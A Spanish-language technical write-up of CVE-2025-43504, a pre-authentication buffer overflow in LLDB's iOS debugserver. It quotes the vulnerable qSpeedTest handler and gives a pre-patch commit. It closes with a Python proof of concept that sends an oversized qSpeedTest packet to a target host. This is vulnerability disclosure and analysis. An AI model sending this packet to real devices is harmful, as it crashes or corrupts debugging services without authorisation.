
# Análisis técnico en profundidad de CVE-2025-43504, un desbordamiento de búfer global remoto previo a la autenticación en debugserver de LLDB para iOS, con código PoC y análisis de explotación.
De niño, siempre disfrutaba rebuscar en los contenedores de DVD de mi Walmart local. Notaba que muchas de las mismas películas quedaban encima, pero si realmente cavabas, encontrabas títulos más interesantes y de nicho.
Cuando un programa desborda un búfer, básicamente estás metiendo la mano en su caja de ofertas. Dependiendo de lo lejos que alcances, los DVD —o, en este caso, las estructuras sobrescritas en memoria— pueden cambiar.
El /bin de oferta de hoy es CVE-2025-43504: un desbordamiento global de búfer remoto de preautenticación que encontré en el debugserver de LLDB.
Durante el desarrollo de aplicaciones, los desarrolladores a menudo necesitan depurar su app en un dispositivo iOS físico. Para lograrlo, Xcode monta una Developer Disk Image en el iPhone de destino y luego se empareja con él.
Una vez emparejado, el host macOS puede comunicarse con el cliente iOS usando el debugserver instalado en el cliente. Ahora, cualquier cliente que pueda establecer una sesión GDB-remote con el debugserver del dispositivo puede alcanzar el manejador qSpeedTest y desbordar el búfer vulnerable.
Echemos un vistazo a la página de la versión de seguridad de Xcode 26.1 para entender mejor cómo clasificó Apple el CVE-2025-43504:

Debido a las mitigaciones de software modernas, Apple considera que los desbordamientos de búfer son principalmente un problema de denegación de servicio más que una primitiva de corrupción. Como exploraremos hoy, esto es en general cierto, ya que un atacante necesitará superar varios obstáculos y probablemente combinar este problema con otro bug para lograr ejecución de código arbitrario.
Si quieres experimentar con una versión anterior al parche de debugserver, usa el siguiente commit o cualquier commit anterior a ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c
Antes del parche en RNBRemote.cpp, cualquier usuario remoto que pudiera conectarse al debugserver de un dispositivo iOS podía enviar un paquete qSpeedTest de preautenticación a RNBRemote::HandlePacket_qSpeedTest y corromper estructuras adyacentes en el segmento de datos global de debugserver.
Sin embargo, hay una advertencia importante: solo controlamos la longitud de la corrupción. El contenido del payload está fijado a una secuencia de caracteres 'a'. Si bien los estudiantes pueden disfrutar de las calificaciones consistentemente altas, la utilidad práctica de este desbordamiento está muy limitada por el hecho de que no podemos controlar los bytes reales que se escriben, solo hasta dónde llega la inundación de 'a'.
Ahora, echemos un vistazo bajo el capó de RNBRemote::HandlePacket_qSpeedTest para ver exactamente qué está sucediendo:
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
// We control the length of response_size
uint64_t response_size = ::strtoul(p, &end, 16);
if (errno != 0)
return HandlePacket_ILLFORMED(
__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
// The overflow of g_data by a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
return SendPacket(g_data);
} else {
return SendErrorPacket("E79");
}
}
La función de RNBRemote::HandlePacket_qSpeedTest() es procesar los paquetes entrantes qSpeedTest:response_size:<hex>; sin requerir autenticación de un usuario remoto que pueda comunicarse con el binario debugserver del dispositivo iOS.
Sin embargo, una vez que un usuario remoto puede enviar un paquete qSpeedTest:response_size:<hex>; a debugserver, no se realizan comprobaciones de autenticación dentro de debugserver antes de procesar el response_size proporcionado por el usuario. Por lo tanto, cualquier usuario que pueda comunicarse con un dispositivo iOS que tenga montada una Developer Disk Image puede desbordar debugserver mediante un paquete qSpeedTest:response_size:<hex>;.
Ahora que hemos llegado a la función vulnerable RNBRemote::HandlePacket_qSpeedTest(), examinemos exactamente cómo ocurre el desbordamiento. Primero, el tamaño <hex> proporcionado por el usuario en el paquete qSpeedTest:response_size:<hex>; se extrae y se almacena en la variable response_size:
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);
Si el análisis tiene éxito y el siguiente carácter es un punto y coma, se inicializa un búfer estático local a la función de 4 MiB + 16 bytes g_data y se rellena con la cabecera ASCII "data:":
if (errno != 0)
return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
Juntando todo, memset llena entonces el búfer estático de 4 MiB + 16 bytes g_data con 'a' usando el valor response_size controlado por el usuario como el número de 'a' a usar.
// The overflow of g_data by 'a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
Por lo tanto, siempre que un cliente LLDB remoto envía un paquete qSpeedTest:response_size:<hex>; con un response_size mayor que el búfer de 4 MiB + 16 bytes, ocurre un desbordamiento de búfer y corrompe variables globales adyacentes almacenadas en el segmento de datos global (.bss) de debugserver.
Ahora que entendemos la arquitectura detrás del desbordamiento, profundicemos en la mecánica real de la vulnerabilidad. Para empezar, usemos el siguiente programa en Python para explorar las primitivas de corrupción obtenidas a través del desbordamiento de g_data:
import argparse, socket
def frame(payload: bytes) -> bytes:
return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))
def send_one(host: str, port: int, resp_hex: str):
payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
pkt = frame(payload)
s = socket.create_connection((host, port), timeout=5.0)
s.settimeout(1.5)
try:
# send the oversized qSpeedTest
s.sendall(pkt)
try:
_ = s.recv(1) # ACK (best effort)
except Exception:
pass
# Optional tiny nudge to exercise pointer use
try:
s.sendall(frame(b"?"))
_ = s.recv(1)
except Exception:
pass
finally:
try: s.close()
except Exception: pass